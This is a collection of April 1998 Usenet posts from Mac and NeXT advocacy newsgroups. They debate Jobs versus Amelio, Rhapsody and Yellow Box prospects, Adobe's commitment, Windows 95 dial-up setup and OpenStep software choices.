Subject: Re: If Rhapsody is alive...
Date: Mon, 27 Apr 1998 03:08:07 -0500
Organization: KAOS
Message-ID: <19980427030807624767@sdn-ts-002txhousp02.dialsprint.net>
References: <see-below-2204982044230001@209.24.241.227> <B164DB39-6C834@206.165.43.25> <joe.ragosta-2304981555560001@wil124.dol.net> <354185ca.0@news.camtech.net.au>
Timothy Priest wrote:
> Joe Ragosta wrote:
>
> >If you want to believe everything Amelio says. AND If you believe
> >Microsoft had any intention at all of ever doing Office for Rhapsody.
> >It's equally possible that they would have walked away from the table. No
> >investment, no Office 98, no patent payments.
>
> Come on Joe. Announcements of Product developments and "simplification"
> of product lines were made well before Steve took-the-reigns. Yet Steve
> implies that he masterminded the whole deal. Likewise the deal with M$.
> There were definitely rumours of Gil meeting with Bill well before Steve's
> supposed spur-of-the-moment contact with Bill. I rather feel you are
> being rather harsh on Gil. Granted he got paid a lot, but then so do a
> whole lot of other CEO's that do bugger all as well.
I think all Joe was saying (which I agree with) is not to malign Jobs
for caving in on Office for Rhapsody as there is no guarantee that Gates
would have agreed to such a condition. (Or perhaps he would have agreed
eventually, and the seemingly pivotal Microsoft announcement of last
summer would have been delayed another six months -- who knows?) Too
often people take what *might* have been as evidence of what *would*
have been to support their views.
> Steve is definitely right for the job at the moment, but let's not vilify
> Gil noe Canonise Steve just yet. I tend to thing Avie and John have a
> s... load to do with Apple's moving in the right direction. But then they
> are not the "leaders" are they? Maybe they should be!
Probably not -- why risk promoting them to their level of incompetence?
;-) I agree that Amelio did some good things, but the whole time he was
leading Apple I felt that progress came too slowly, that by the time he
finally figured out what to do the company would be dead. Jobs may
prove himself in the long run to be no more successful than Amelio at
saving Apple, but he's looked pretty good right out of the gate --
swift, decisive, exciting -- and he has two profitable quarters of
leadership to back him up when Amelio had given up on profitability
indefinitely. Jobs has continued, even accelerated, Amelio's
cost-cutting while implementing thrifty but still high-profile and
talked-about advertising as well as unique marketing (one national [US]
retailer promoting Apple boutiques). Sure, Jobs benefits from a
charisma Amelio never had, but don't overlook the fact that he also had
the good sense to hire the likes of Tevanian and Rubinstein in the first
place.
--
John Bauer
A world without Microsoft is two steps closer to utopia.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Mon, 27 Apr 1998 03:08:11 -0500
Organization: KAOS
Message-ID: <19980427030811624965@sdn-ts-002txhousp02.dialsprint.net>
References: <01bd6b25$321d87c0$25f0bfa8@davidsul> <6hbob0$5g8@mozo.cc.purdue.edu> <B15FF7D3966859F61@host-207-205-112-97.bct.bellsouth.net> <hi-3108560220260001@1cust162.tnt3.sea1.da.uu.net> <3541A0F8.310E450@nkn.net> <joe.ragosta-2504980741430001@elk45.dol.net> <slrn6k43tj.pe0.sal@panix3.panix.com>
<non-advocacy NGs snipped>
Salvatore Denaro wrote:
> If Apple couldn't build a $500 newt portible (newtOS has 1/10 the hardware
> requirements as MacOS) what makes you so sure that they can build a $500
> Mac portible?
I don't know that anyone is "sure," but Apple may have one thing now
they didn't have before: the will to get it done.
--
John Bauer
A world without Microsoft is two steps closer to utopia.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Mon, 27 Apr 1998 03:08:12 -0500
Organization: KAOS
Message-ID: <19980427030812625065@sdn-ts-002txhousp02.dialsprint.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu> <see-below-2204982047250001@209.24.241.227> <B164D5BD-57E62@206.165.43.25> <19980424004640961527@sdn-ts-004txhousp06.dialsprint.net> <B166692D-A3FEE@206.165.43.143> <199804242155151973415@sdn-ts-014txhousp14.dialsprint.net> <B16764AD-EB2A@206.165.43.106>
Lawson English wrote:
> I said:
>
> > I disagree with how "obvious" the SWAS concept was (has anyone else in
> > the computer or consumer electronics industry ever done such a thing?)
>
> Microsoft. In a smaller way, Nintendo. Lots of consumer electronics
> companies pay a premium to stores for special displays. In fact, lots of
> consumer ANYTHING companies do this to some extent or another. You don't
> think that grocery stores put up those special displays of brand-name items
> for free, do you?
A display is not a store-within-a-store. The Jobs model is the Ralph
Lauren boutique (since copied by many other designers) that you see in
department stores, a separate, well-defined area for one company's
wares. I've never seen anything like this for Nabisco or Pillsbury,
where every product they make is in one place and one place only. The
crackers are always with the other crackers, the pie crusts with the
other companies' pie crusts, etc. Nintendo may have all their games
hanging together on the wall, but in my experience the hardware is
usually elsewhere (with the other game hardware). As for Microsoft,
well, I guess you *could* argue that every computer store/department is
a Microsoft store/department and it's the Apple SWAS at CompUSA that is
the aberration, but then that would just lead me to rail against
Microsoft's hegemony again...
--
John Bauer
A world without Microsoft is two steps closer to utopia.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: KEEP JOBS
Date: Mon, 27 Apr 1998 03:08:14 -0500
Organization: KAOS
Message-ID: <19980427030814625184@sdn-ts-002txhousp02.dialsprint.net>
References: <don_arb-1904982240580001@sea-ts2-p64.wolfenet.com> <B16047C4-53E31@206.165.43.179> <joe.ragosta-2004980639400001@elk52.dol.net> <353CEFFF.DDC5D0B4@samkass.com> <slrn6jt7hm.oce.mbkennel@lyapunov.ucsd.edu> <see-below-2204982047250001@209.24.241.227> <B164D5BD-57E62@206.165.43.25> <19980424004640961527@sdn-ts-004txhousp06.dialsprint.net> <B166692D-A3FEE@206.165.43.143> <199804242155151973415@sdn-ts-014txhousp14.dialsprint.net> <jayfar-2404982316490001@chestnut1-22.slip.netaxs.com>
Jayfar wrote:
> I wrote:
>
> | I disagree with how "obvious" the SWAS concept was (has anyone else in
> | the computer or consumer electronics industry ever done such a thing?)
>
> Yes they have. The much smaller (12 stores) MicroCenter chain has had an
> Apple store-within-a-store for a number of years.
An example right under my nose that I somehow overlooked. In fact, J&R
in NY had an Apple department now that I think about it, as I'm sure do
other large computer stores. I would argue that a SWAS is something
more in the sense that it tries to establish a sense of place beyond
just being a separate area or room, but I'll also concede that Apple
could do a lot better in establishing that sense of place at CompUSA.
--
John Bauer
A world without Microsoft is two steps closer to utopia.
Date: Mon, 27 Apr 1998 06:03:55 -0400
From: casper@nb.net (Tim Scoff)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: first post
Message-ID: <casper-2704980603550001@wheat-d-08.monroeville.nb.net>
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <6i0vid$ncp$1@garnet.nbnet.nb.ca>
In article <6i0vid$ncp$1@garnet.nbnet.nb.ca>, G_o_M_a_c <"ndk"@
eat-no-spaaam nbnet.nb.ca> wrote:
>Tom wrote:
>> Here's one confused puppy! The actual procedure is to click new connection
>> in dialup networking, provide a name for the new entry and the phone number,
>> click OK and you're done. Double click on the new entry, supply your usename
>> & password and you're connected. About 5 minutes.
>> ..
>What you are omitting here are the steps you have to take BEFORE you can
>create a New Connection.
>Are you using the same W95 I am? Or just spreading FUD. This is the procedure
>according to my ISP.
>For all the Mac users that haven't had the "chance" to config a net connection
>on a PC, I suggest you give your Mac a kiss and worship the desktop square
>footage on which it stands:
>Here goes:
>
>Step 1:
>Click My Computer, double click control panel, Double click network icon.
>Check to see if Dial-up adaptor&TCP/IP are there.
>Dial-up adaptor is usually NOT listed, so you have to go through the process
>of adding it, about 6 mouse click total.
>TCP/IP may or may not be listed, same total, 6 mouseclicks.
>
>Step2
>Click on TCP/IP, click Properties.
>Click Gateway and enter ... Step 2, a total of 20 mouseclicks.
>
>Step 3
>Click Dial-up adaptor, click properties. Click bindings, uncheck all but
>TCP/IP., total 12 steps. At this point, now get this: YOU ARE PROMPTED TO
>INSERT your W95 CD! To top it off, you are required to RESTART your computer.
>Total mouseclicks:12
>
>Step 4
>Double click My computer etc...total 12 mouseclicks, AT THIS POINT RESTART
>computer again.
>
>Step 5
>total, 13 mouseclicks. At this point, you enter your baud rate.
>
>Step 6
>Click on your New Connection icon, right click properties, total 23
mouseclicks!
>You are now ready to surf the net!!!!!!!But before, put your hand on some ice,
>you've clicked the poor mouse so many times, you might get DeQuervain's
syndrome!
>After you've completed all these steps, most of the time, you still have to
>start from scratch, because for reasons I ignore, many times it doesn't work!
>The reason? Some of the stuff you've changed doesn't "stick" and appears 2 or
>3 times in the dialog boxes. I Know because I've experienced it.
>
>Now the good news:
>^^^^^^^^^^^^^^^^^
>On the Mac: Select chooser and your port just to make sure your printer is
>connected to the right serial port. I usually disactivate AppleTalk.
>Select your modem (just the type). You don't have to select a baud rate.
> Fill in primary and secondary DNS and search domain. Fill in username,
>password, chack save password if you like.
>At this point, I reboot and voila! It never fails.
In all honesty you shortened the Mac's operation by a few steps. It
only takes me about twice as many steps on a NT box to set up dial up
networking as it takes me on a Mac.
>This process is representative of the majority of operations on W95. Which is
>why, as far as I'm concerned, I'd rather spend three and four times more money
>to purchase a Mac (it'll pay for itself for time saved) if I had to, than even
>considering buying a a PC, that runs the most redundant, user unfriendly,
>archaic OS in use today, Windows 95.
>As far as being a confused puppy, well I'll let others be the judge of that.
>The fact that you are deliberatly trying to mislead others into beleiving how
>easy it is to config W95 for internet access, speaks volumes as far as your
>credibility is concerned.
It's not easy, but it's slightly easier than you described.
--
Tim Scoff
casper@nb.net
<http://www.nb.net/~casper/>
Customer: "I'm running Windows '95."
Tech Support: "Yes."
Customer: "My computer isn't working now."
Tech Support: "Yes, you said that." (Pete Zimowski)
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 11:21:13 GMT
Organization: P & L Systems
Message-ID: <6i1pn9$bll$7@ironhorse.plsys.co.uk>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
<6i0usm$aj7$1@news.digifix.com> <6hvsrr$8mm$1@supernews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: ZicoKnows@hotmail.com
In <6hvsrr$8mm$1@supernews.com> "Zico" wrote:
> x-no-archive: yes
>
> Scott Anguish wrote:
>
> >Lawson English wrote:
>
>
> >>Adobe even officially backed off from it. I'm still waiting for
> >someone to
> >>cite a URL where they have recently endorsed it.
> >>
> >
> > More Lawson Bullshit.
> >
> > Adobe never _officially_ backed off it.
> >
> > As far as the URL you asked for, look it up yourself.
>
> An Adobe spokeswoman said that Adobe backed off it.
>
URL of a statement from an *official* *named* *senior* Adobe exec...?
> Scott, if you can't find the URL, please stop saying that
> there is one. The reason why people can't find one is
> likely because there isn't one.
>
> Since I've been following the situation, nobody has ever
> produced a URL pointing to Adobe's Rhapsody support.
> Only a number of posters claiming that Adobe has
> announced Rhapsody support, but NEVER providing
> evidence. It's like they think if they say it enough times
> it will either become true, or at least everyone will
> start to believe it.
>
> This isn't intended as a flame at you, Scott, but if
> you would just provide the evidence, you could shut
> everyone up on this topic in one fell swoop.
>
You haven't been following long enough...
From :
http://beta.devworld.euro.apple.com/mkt/informed/appledirections/jun97/adobe.html
MacWEEK writer Matthew Rothenberg recently interviewed Adobe Systems
President Charles Geschke, and during this interview, Geschke affirmed
Adobe's commitment to the Mac OS platform. Geschke predicted that after a
transition period, all the company's professional software will be
Rhapsody-native. He went on to say that in two or three years Adobe's
applications "would all be on Rhapsody, and there wouldn't be any concept of
another Apple operating system at that point."
Geschke also anticipates an easy transition to Rhapsody's Display
PostScriptTM imaging model, which is based on Adobe's own technology.
You can read the complete MacWEEK article at
http://www.macweek.com/mw_1115/nw_geschke.html.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 11:24:24 GMT
Organization: P & L Systems
Message-ID: <6i1pt8$bll$9@ironhorse.plsys.co.uk>
References: <6hlrvl$q9q$1@nnrp1.dejanews.com> <B163D015-EF2B@208.198.103.141>
<1d7wuk7.mlim0p95alh6N@dhcp215.bb.opentext.com> <6hnq54$3s$2@newsfep3.sprintmail.com>
<6hnrnl$57p$29@ironhorse.plsys.co.uk> <1d7xz45.g0ce3b1l3mx0uN@dbklap.bb.opentext.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: dbk@mcs.com
In <1d7xz45.g0ce3b1l3mx0uN@dbklap.bb.opentext.com> Dan "Bud" Keith wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>
> > Umm, a significant amount of Mesa (our spreadsheet, not the OpenGL thang)
> >is written in C++...
>
> It's good to know that others are doing C++ on Rhapsody. But do you use
> any STL classes (e.g., vector, deque, iterator)?
>
No, sorry, we don't.
> Is there a better version of the tools than that shipped with RDR1?
>
You should be able to upgrade gcc using the standard distribution -- that's a
question for one of the programmer groups, though.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 11:25:29 GMT
Organization: P & L Systems
Message-ID: <6i1pv9$bll$10@ironhorse.plsys.co.uk>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1682DB8-4B386@206.165.43.167> "Lawson English" wrote:
> > Rhapsody currently has the support of exactly zero first-tier
> > industry partners.
>
But IIRC people were clamouring not so long ago for cheaper entry to the dev
program including seeds so that the little guys could get their hands on
Rhapsody. Now you're saying that they don't matter -- it's only the big guys
that you're interested in...?
Do people like Casady & Green, Stalker, Helios, various database people etc
not count?
> Adobe even officially backed off from it. I'm still waiting for someone to
> cite a URL where they have recently endorsed it.
>
Let's see the URL where the official senior named Adobe spokesperson stated
that Adobe was backing off.
mmalc
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 11:22:24 GMT
Organization: P & L Systems
Message-ID: <6i1ppg$bll$8@ironhorse.plsys.co.uk>
References: <3543eebe.0@news.camtech.net.au> <B1697D67-1951D@206.165.43.144>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1697D67-1951D@206.165.43.144> "Lawson English" wrote:
> Interestingly enough, one of the latest interviews with Amelio has him
> claiming that he and Tavie went to lunch a month or two after the NeXT
> purchase and Tavie gushed about how much nicer it was to have him (Amelio)
> as boss instead of change-the-direction-of-the-company-every-minute Steve.
>
Nope, that's not interesting at all.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: WriteUp/PasteUp good?
Date: 27 Apr 1998 11:32:46 GMT
Organization: P & L Systems
Message-ID: <6i1qcu$bll$11@ironhorse.plsys.co.uk>
References: <01HW.B167D79D0001F08506719BD0@news.tiac.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: bvito@tiac.net
In <01HW.B167D79D0001F08506719BD0@news.tiac.net> "Brian Vito" wrote:
> I just purchased OPENSTEP 4.2 (running on Intel) and, of course, I need a
word
> processor, and a page layout tool is always good. What's the best? I know
> that WriteUp/PasteUp are still being developed and supported, but are they
the
> best tools?
> What about FrameMaker (ever on intel), WordPerfect, OpenWrite, WriteNow,
etc.?
> Please help me decide (I'm on a limited budget) - email me please, don't
post.
>
For a limited budget it's hard to do better than the free copy of OpenWrite
that's now available (for license strings see the ftp.peak.org archives).
That said, OpenWrite is by no means my favourite WP, and of course it's an
obselete product that I'd be wary of committing new files to. I'd prefer
WriteUp as a medium level word processor, and on a more limited budget would
be happy to get by with CedarWord. The latter has the advantages of being
very cheap, surprisingly functional, and it uses RTF as its native format.
It's a simple product that works very well.
For page layout I use PasteUp, and for more formal documents FrameMaker, each
of which is good at its job, and neither of which would satisfy your
requirements of being affordable on a limited budget...
Best wishes,
mmalc.
From: critic@NoChoppedPorkShoulder.ihug.co.nz (Steve Ballantyne)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: IMPEACH JOBS
Date: Tue, 28 Apr 1998 00:01:55 +1200
Organization: critic
Message-ID: <critic-2804980001550001@p14-max41.auck.ihug.co.nz>
References: <hi-2808562103540001@1cust166.tnt8.krk1.da.uu.net> <B16983BC-31232@206.165.43.144>
In article <B16983BC-31232@206.165.43.144>, "Lawson English"
<english@primenet.com> wrote:
> Carl Bond <hi@no.spam.e-mail.thanks.a.lot.see.sig.for.address> said:
>
> > | 256 color support came out with the Mac II's in 1987 (6?).
> > |
> > | System 1.0 had 8-color support, although you couldn't see it.
> >
> > Hmmmm... Oh, it did?
>
> Yep. 8-color support in QD was there since the beginning. I don't know of
> any app that ever used it, however, and I have never bothered to read the
> docs on how to use it since any Mac that can show 8 colors can show 256, so
> why bother with the 8-color version in the first place?
>
Nggh...nyuhhh... nnng... (sounds of desperately straining memory)
Silicon Beach... they had an application...
But I just can't quite remember what it was called -- it printed labels
and stuff, and was very good (for its time) at varying text etc for each
label. If you put a multicolored ribbon in your ImageWriter, you could
have it do color, too; On screen they'd be represented as fill patterns,
but they'd print in color.
I have a faint recollection that Silicon Beach's Superpaint could do this also.
Handy for charts and stuff.
Cheers,
--
Steve Ballantyne
From: "Zico" <ZicoKnows@hotmail.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: Mon, 27 Apr 1998 08:15:13 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6i1taa$7rr$1@supernews.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i0usm$aj7$1@news.digifix.com> <6hvsrr$8mm$1@supernews.com> <6i1pn9$bll$7@ironhorse.plsys.co.uk>
x-no-archive: yes
mmalcolm crawford wrote:
>Zico wrote:
>>
>> Scott Anguish wrote:
>>
>> >Lawson English wrote:
>>
>>
>> >>Adobe even officially backed off from it. I'm still waiting for
>> >someone to
>> >>cite a URL where they have recently endorsed it.
>> >>
>> >
>> > More Lawson Bullshit.
>> >
>> > Adobe never _officially_ backed off it.
>> >
>> > As far as the URL you asked for, look it up yourself.
>>
>> An Adobe spokeswoman said that Adobe backed off it.
>>
>URL of a statement from an *official* *named* *senior* Adobe exec...?
You've seen the URL. It's from an Adobe spokeswoman. Spokespeople
are usually the ones who make public statements, not senior execs.
Ask the TechWeb writer what the spokeswoman's name is.
>You haven't been following long enough...
Sure I have. You just posted the URL of an article that's over
a year old. Adobe's backing off of Rhapsody occurred AFTER
that. That's what backing off means. I'm sure you know this.
Z
>From :
>http://beta.devworld.euro.apple.com/mkt/informed/appledirections/jun97/adobe.ht
ml
>>MacWEEK writer Matthew Rothenberg recently interviewed Adobe Systems
>President Charles Geschke, and during this interview, Geschke affirmed
>Adobe's commitment to the Mac OS platform. Geschke predicted that after a
>transition period, all the company's professional software will be
>Rhapsody-native. He went on to say that in two or three years Adobe's
>applications "would all be on Rhapsody, and there wouldn't be any concept of
>another Apple operating system at that point."
>
>Geschke also anticipates an easy transition to Rhapsody's Display
>PostScriptTM imaging model, which is based on Adobe's own technology.
>
>You can read the complete MacWEEK article at
>http://www.macweek.com/mw_1115/nw_geschke.html.
>
>
>mmalc.
>
>
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 05:26:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6i1tgp$930@nntp02.primenet.com>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167> <6i1pv9$bll$10@ironhorse.plsys.co.uk>
You earlier provided a link to the WWDC OS page,
http://devworld.apple.com/wwdc98/os.html
On that page, Session 117 is described as:
Rhapsody and Yellow Box in 1998
With the amplification:
"1998 will be a year of great achievement for Rhapsody as a server
platform and as a Yellow Box development platform approaching the first
customer release. Rhapsody also contains important keys to the future of
Mac OS. This session will detail the direction that Rhapsody and the
Yellow Box will take this year."
The way I read those tea leaves is:
- At some point Yellow Box will reach consumers by way of MacOS
- Rhapsody will be a server OS and a headstart for Yellow Box
That would make the Yellow Box an _optional_ programming interface for
MacOS.
I think that means a slow changeover from MacOS to Yellow Box. The
benefits of Yellow Box will pull developers to the framework over time,
but how many corporate developers are going to ditch their current
investment for an optional API?
The speed of migration may be hastened if consumers demand Yellow Box
applications. Remember the "PPC Native" stickers people would put on
their boxes? I remember walking through Microcenter looking for
_something_ native to run on my new Powermac, just to see the speed.
Perhaps Yellow Box applications can be made to have that kind of appeal.
In the short term, Yellow Box apps will probably compete with their MacOS
counterparts on a feature by feature basis. Unless or until a Yellow Box
brand identify can be built.
John
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <6htbcc$kl9$2@garnet.nbnet.nb.ca> <35433ec7.0@news.together.net> <joe.ragosta-2604981803240001@elk77.dol.net> <3543f188.0@news.together.net> <joe.ragosta-2704980607100001@elk45.dol.net>
Subject: Re: first post
Date: Mon, 27 Apr 1998 09:17:25 -0400
Message-ID: <35447fcf.0@news.together.net>
Organization: Together Networks - Burlington, VT.
Joe Ragosta wrote in message ...
>In article <3543f188.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>> Joe Ragosta wrote in message ...
>> >In article <35433ec7.0@news.together.net>, "Lance Togar"
<ltogar@msn.com>
>> wrote:
>> >
>> >> G_o_M_a_c Nicolas Krinis > wrote in message
>> >> <6htbcc$kl9$2@garnet.nbnet.nb.ca>...
>> >> >
>> >> >
>> >> >What? 5 min. to config W95 for internet access? More like 20 minutes,
>> even
>> >> >if you know what you're doing:
>> >> >There are a total of 6 steps to configurefrom the Dial-up adaptor ,
>> through
>> >> >windows logon.......Gateway to Wins config.......through the bindings
>> all
>> >> >the way to creating a desktop alias:
>> >> >
>> >> >Total mouseclicks: approximately 100.
>> >> ..
>> >> Here's one confused puppy! The actual procedure is to click new
>> connection
>> >> in dialup networking, provide a name for the new entry and the phone
>> number,
>> >> click OK and you're done. Double click on the new entry, supply your
>> usename
>> >> & password and you're connected. About 5 minutes.
>> >
>> >Except that you left out a lot of stuff-and a few reboots.
>> ..
>> I didn't leave *anything* out and there aren't any reboots. BTW, it's
just
>> as easy with NT 4.0 which is where I did my 4 minute 'from sealed ISP
letter
>> to a connection".
>> ..
>
>If you didn't have to reboot, then you didn't do a complete
>installation--some of the network components must have been configured
>before you started.
>
..
Well, ya. DUN was installed as it is on nearly every pre-install. In the
rare case where it's missing, there's no configure, just the install. The
addition of an ISP is just as I described and WIN95 automatically negotiates
TCP/IP, NetBEUI & IPX. Then there's the Virtual Private Network for those
who'd like to keep their Internet traffic private. Standard with WIN98, free
download for WIN95. Just as easy to setup as an ISP. Whatever the host, the
setup couldn't be easier from the users point of view.
..
..
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Does Nextstep work with Ultra DMA?
Date: 27 Apr 1998 08:33:03 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i1frv$1kn$1@ns3.vrx.net>
References: <6i0ubr$pq3$1@newsfep4.sprintmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: everblue@ucla.edu
In <6i0ubr$pq3$1@newsfep4.sprintmail.com> "Tony Chow" claimed:
> I'm planning on getting another motherboard with Ultra DMA controller
> built-in. Is this going to work with any version of NeXTSTEP/OpenSTEP?
Works on mine, for what it's worth. I hope I'm referring to the same thing
though, you mean the EIDE (or now UIDE) driver? If so, yeah, it works. Just
make sure to try the CD drive before buying, the OpenStep one is pretty
picky.
Maury
From: jmcn@msg.ti.com (Jason McNorton)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Mon, 27 Apr 1998 08:22:16 -0500
Organization: Texas Instruments
Message-ID: <MPG.fae4284898a0f6798970f@news.itg.ti.com>
References: <6hqber$jpu$1@nntp1.ba.best.com> <B1669D20-66583@207.217.155.34> <joe.ragosta-2504980739300001@elk45.dol.net> <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net>
In article Joe Ragosta, joe.ragosta@dol.net says...
> In article <MPG.fad7a7c96bc87a49896cb@news.unt.edu>, f@pearl.net (Fred) wrote:
>
> > In article <6i0dit$466$1@xmission.xmission.com>, kris@xmission.xmission.com
> > says...
<Snip insanely funny bozo story>
> > This is quite probably the greatest single usenet post I've ever read..
>
> I'm not surprised. You seem to be incapable of logical debate, too.
>
> It's too bad that people incapable of logical thought like you and kris
> are able to post to Usenet. You're a good part of the reason that it's so
> full of mindless posts and ad-hominem attacks.
And there you go Joe, just letting that inner bozo talk for you again.
hahah!! You really have no sense of humor do you? You only speak in
terms of debating tactics and logical errors.
--
A world without the Mac is a step closer to utopia.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 08:48:40 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i1gp8$1kn$3@ns3.vrx.net>
References: <joe.ragosta-2604980734550001@elk52.dol.net> <B168C858-10D76@206.165.43.99>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B168C858-10D76@206.165.43.99> "Lawson English" claimed:
> Claris was demoing OD on ClarisWorks and fully intended 5.0 to be a
> container app. In fact, ripping OD support out of ClarisWorks delayed 5.0
> from what I've heard.
Uh huh. Let me assure you that you can file that one with your other 560nm
bottom feeders too. Claris seemed (from my perspective) to be involved in a
rather nasty OpenDoc disinfo campaign.
> Claris is [was] one of the largest software houses, you know.
They showed. Nothing shipped. Netscape€showed, nothing shipped. Other
people talked, nothing shipped.
> > > > Rhapsody currently has the support of exactly zero first-tier
> > > > industry partners.
> > So what???
> >
>
> So what?????
>
> That's the nicest example of "denial" that I've ever seen.
After putting up with your GX rant for OVER A YEAR NOW, you're hardly in a
position to say anything remotely like this (unless you're going to pull a
"takes one to know one" stance).
> > Photoshop will run at least as well on Rhapsody as on native MacOS. What
> > does Adobe need to do to support it?
>
> Use it as a cross-platform development solution?
Why?
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 08:44:32 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6i1ghg$1kn$2@ns3.vrx.net>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1682DB8-4B386@206.165.43.167> "Lawson English" claimed:
> Let's not forget that Netscape committed publicly to OpenDoc
Uggg, again with the "public commitments". Here I will publically comit to
Java in my calculator. There, see the difference? What, you can't either?
> > Rhapsody currently has the support of exactly zero first-tier
> > industry partners.
OpenDoc has the support of exactly zero first-tier industry partners. Once
again I'm left searching for any real difference.
I'll tell you one difference, _I'm_ supporting OpenStep. And as it turns
out, I'm pretty ok at it too. If they don't want to support it fine, I have
no such problems.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: If Rhapsody is alive...
Date: 27 Apr 1998 14:14:45 GMT
Organization: P & L Systems
Message-ID: <6i23sl$bll$13@ironhorse.plsys.co.uk>
References: <6hu2fp$sve$1@xmission.xmission.com> <B1682DB8-4B386@206.165.43.167>
<6i1pv9$bll$10@ironhorse.plsys.co.uk> <6i1tgp$930@nntp02.primenet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: jjens@primenet.com
In <6i1tgp$930@nntp02.primenet.com> John Jensen wrote:
> You earlier provided a link to the WWDC OS page,
> http://devworld.apple.com/wwdc98/os.html
[...]
> The way I read those tea leaves is:
>
> - At some point Yellow Box will reach consumers by way of MacOS
> - Rhapsody will be a server OS and a headstart for Yellow Box
>
Agreed...
> That would make the Yellow Box an _optional_ programming interface for
> MacOS.
>
agreed-ish, however -- I would expect YellowBox to become the *preferred* API
for MacOS (we'll have to wait until May 11 for a decider on that one).
> I think that means a slow changeover from MacOS to Yellow Box.
>
If I could be pedantic for the sake of clarity: a changeover from
MacOS+Toolbox APIs to MacOS + YB APIs.
> The benefits of Yellow Box will pull developers to the framework over
> time, but how many corporate developers are going to ditch their current
> investment for an optional API?
>
I'm not sure they would for an optional API, if that's all it were.
However I suspect that (a) as I suggested above the API will not be exactly
"optional"; (b) there may be compelling reasons for many developers to move
over (the YB API being much more powerful than the existing options). In a
